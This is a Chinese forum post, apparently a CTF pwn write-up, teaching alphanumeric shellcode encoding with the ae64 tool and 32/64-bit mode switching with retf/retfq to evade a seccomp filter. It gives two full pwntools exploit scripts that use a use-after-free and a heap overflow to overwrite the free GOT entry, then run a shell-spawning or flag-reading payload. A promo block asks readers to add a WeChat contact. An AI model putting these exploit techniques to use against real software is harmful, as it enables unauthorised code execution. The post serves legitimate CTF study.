ASCII码-shellcode的技巧

打印 上一主题 下一主题

主题 823|帖子 823|积分 2469

网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧
https://github.com/TaQini/alpha3
https://github.com/veritas501/ae64.git
https://github.com/rcx/shellcode_encoder
结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题
[img=720,292.391]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341833.png[/img]
程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符

接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞
[img=720,278.6776859504132]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341836.png[/img]
在选项5中则是留有触发shellcode的条件,只要dword_602440不为0则直接指向我们输入的shellcode,而dword_602440位于bss段,因此默认就为0

而在add函数中,分配堆块又恰好都在unsortbin的范围内,那么思路很清楚了,就是使用unsortbin修改dword_602440的值,那么就能触发shellcode
[img=720,360.43530834340993]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341839.png[/img]
剩下就是shellcode如何绕过0x1F这个限制,可以看到syscal是\xf\x5,因此syscal都无法绕过这个限制

这里使用ae64这个工具
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可
  1. from ae64 import AE64
  2. from pwn import *
  3. context.arch='amd64'
  4. # get bytes format shellcode
  5. shellcode = asm(shellcraft.sh())
  6. # get alphanumeric shellcode
  7. f = open('shellcode','wb+')
  8. f.write(shellcode)
  9. f.close()
复制代码

接着使用ae64的库直接修改为ASCII码shellcode
  1. from pwn import *
  2. from ae64 import AE64
  3. context.arch = 'amd64'
  4. obj = AE64()
  5. sc = obj.encode(asm(shellcraft.sh()),'rdx')
  6. print(sc)
复制代码
这里rdx即为shellcode执行的时候call的寄存器
[img=720,272.90829694323145]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341842.png[/img]
然后就可以生成shellcode了
[img=720,228.82191780821918]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341843.png[/img]
紧接着拿这段生成的shellcode就可以绕过了
exp
  1. from pwn import *
  2. sh = process("./pwn")
  3. context(arch='amd64')
  4. def add(size):
  5.     sh.recvuntil(" choice:")
  6.     sh.sendline("1")
  7.     sh.recvuntil(" message?")
  8.     sh.sendline(str(size))
  9. def delete(index):
  10.     sh.recvuntil(" choice:")
  11.     sh.sendline("2")
  12.     sh.recvuntil("o be deleted?")
  13.     sh.sendline(str(index))
  14. def edit(index,content):
  15.     sh.recvuntil(" choice:")
  16.     sh.sendline("3")
  17.     sh.recvuntil(" be modified?")
  18.     sh.sendline(str(index))
  19.     sh.recvuntil("t of the message?")
  20.     sh.sendline(content)
  21. def show(index):
  22.     sh.recvuntil(" choice:")
  23.     sh.sendline("4")
  24.     sh.recvuntil(" to be showed?")
  25.     sh.sendline(str(index))
  26. def exp():
  27.     sh.recvuntil(" choice:")
  28.     sh.sendline("5")
  29. payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
  30. sh.send(payload)
  31. add(0x81)
  32. add(0x81)
  33. delete(0)
  34. edit(0, p64(0) + p64(0x602440 - 0x10))
  35. add(0x81)
  36. exp()
  37. sh.interactive()
复制代码
机器切换-shellcode

有时候会遇到题目需要同时使用32位shellcode与64位shellcode,那么如何进行机器切换则成为解题的关键。
CS寄存器则是用于标记机器位数的关键寄存器

  • CS=0x33,64位
  • CS=0x23,32位
那么如何修改CS寄存器的值,则需要通过retfq与retf的指令

  • refq,从64位切换到32位

      1. push 0x23; #32位的CS寄存器的值
      2. push 0xxx; #需要跳转的地址
      3. retfq; #从32位切换到64位
      复制代码

  • ref,从32位切换至64位

      1. push 0x33; #64的CS寄存器的值
      2. push 0xxx; #需要跳转的地址
      3. retf; #从64位切换到32位
      复制代码

再以一道题目作为例子,保护如下,还是没有开启NX保护
[img=720,226.53306613226454]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341845.png[/img]
题目漏洞在于,再add函数中可申请11个堆块,而题目中给堆块地址容纳的个数为10,因此申请的第11个堆块的地址则会到length中,从而导致第1个堆块的大小变成了堆块的地址值,造成了堆溢出。
[img=720,389.29765886287623]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341846.png[/img]
这里有个需要注意的地方是会首先检测存放堆块的位置是否为0,为0才会给该堆块申请的机会,因此第1个堆块的大小必须设置为0,才能够申请到11个堆块。
[img=720,235.71722717913522]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341847.png[/img]
题目还是用mallopt修改了fastbin的大小为0x10,因此使得无法释放的堆块无法放置到fastbin中,但是mallopt实际是修改了max_global_fast的大小
[img=720,66.71608598962194]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341848.png[/img]
但是题目存在堆溢出漏洞,因此使用修改Unsortbin的bk指针,修改global_max_fast的即可,这样就可以让堆块放进fastbin中了。
并且允许在bss段上输入数据,且该地址刚好在存放堆块地址的上方,因此伪造虚假堆块在该位置就可以完成任意地址写了。

紧接着修改free函数的got表地址为堆块地址,就可以跳转到shellcode中执行,可以看到堆块地址也是具有可执行权限的。
[img=720,380.23783783783784]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341850.png[/img]
查看一下禁用了哪些函数,发现只能用read,write以及fstat函数,但是fstat函数对于这道题来说没有用。那么没有open函数,我们就没办法进行orw的利用了。
[img=720,309.20700308959835]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341851.png[/img]
可以看到fstat函数的64位的系统调用号为5
[img=720,71.57894736842105]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341852.png[/img]
但是32位下的系统调用号5为open函数
[img=720,63.82513661202186]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341853.png[/img]
那么如果能切换到32位下执行系统调用为5的系统调用,即可完成open函数的执行,这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。
这里需要注意两个点
(1)在切换为机器位数之后栈顶的地址会被截断为4个字节,因此需要重新调整一下栈顶的地址
[img=720,431.6108108108108]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341854.png[/img]
(2)在机器位数切换为32位时,在执行系统调用还是会显示原来的函数,但是这个是gdb显示错误,它实际被修改为open函数了
[img=720,334.59211732355635]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308211341855.png[/img]
exp
  1. from pwn import *
  2. #sh = process("./pwn")
  3. elf = ELF("pwn")
  4. def user(name,desc):
  5.     sh.recvuntil("choice:")
  6.     sh.sendline("0")
  7.     sh.recvuntil(" name?")      
  8.     sh.send(name)
  9.     sh.recvuntil("desc?")
  10.     sh.send(desc)
  11. def add(size):
  12.     sh.recvuntil("choice:")
  13.     sh.sendline("1")
  14.     sh.recvuntil(" message?")
  15.     sh.send(str(size))
  16. def delete(index):
  17.     sh.recvuntil("choice:")
  18.     sh.sendline("2")
  19.     sh.recvuntil(" be deleted?")
  20.     sh.send(str(index))
  21. def edit(index, offset, content):
  22.     sh.recvuntil("choice:")
  23.     sh.sendline("3")
  24.     sh.recvuntil("ssage to be modified?")
  25.     sh.send(str(index))
  26.     sh.recvuntil("message to be modified?")
  27.     sh.send(str(offset))
  28.     sh.recvuntil("ent of the message?")
  29.     sh.send(content)
  30. while(1):
  31.     try:
  32.         sh = process("./pwn")
  33.         add(0) #0
  34.         add(0) #1
  35.         add(0x60)
  36.         for i in range(8):
  37.             add(0x71)
  38.         delete(1)
  39.         payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)
  40.         edit(0,0,payload)
  41.         add(9)
  42.         delete(2)
  43.         delete(3)
  44.         delete(4)
  45.         delete(5)
  46.         user('a'*0x10+p64(0)+p64(0x71),'b')
  47.         target = 0x6020f0
  48.         payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)
  49.         edit(0,0,payload)
  50.         add(0x60)#2
  51.         sh.recvuntil("Ptr: ")
  52.         addr = int("0x"+sh.recv(6),16)
  53.         log.info("addr:"+hex(addr))
  54.         add(0x60)#3
  55.         edit(3,0,p64(elf.got['free']))
  56.         payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')
  57.         payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')
  58.         payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')
  59.         payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')
  60.         payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')
  61.         edit(2,0,payload)
  62.         edit(0,0,p64(addr))
  63.         #attach(sh,'b*'+str(addr))
  64.         delete(6)
  65.         sh.interactive()
  66.     except:
  67.         continue
复制代码
更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

张国伟

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表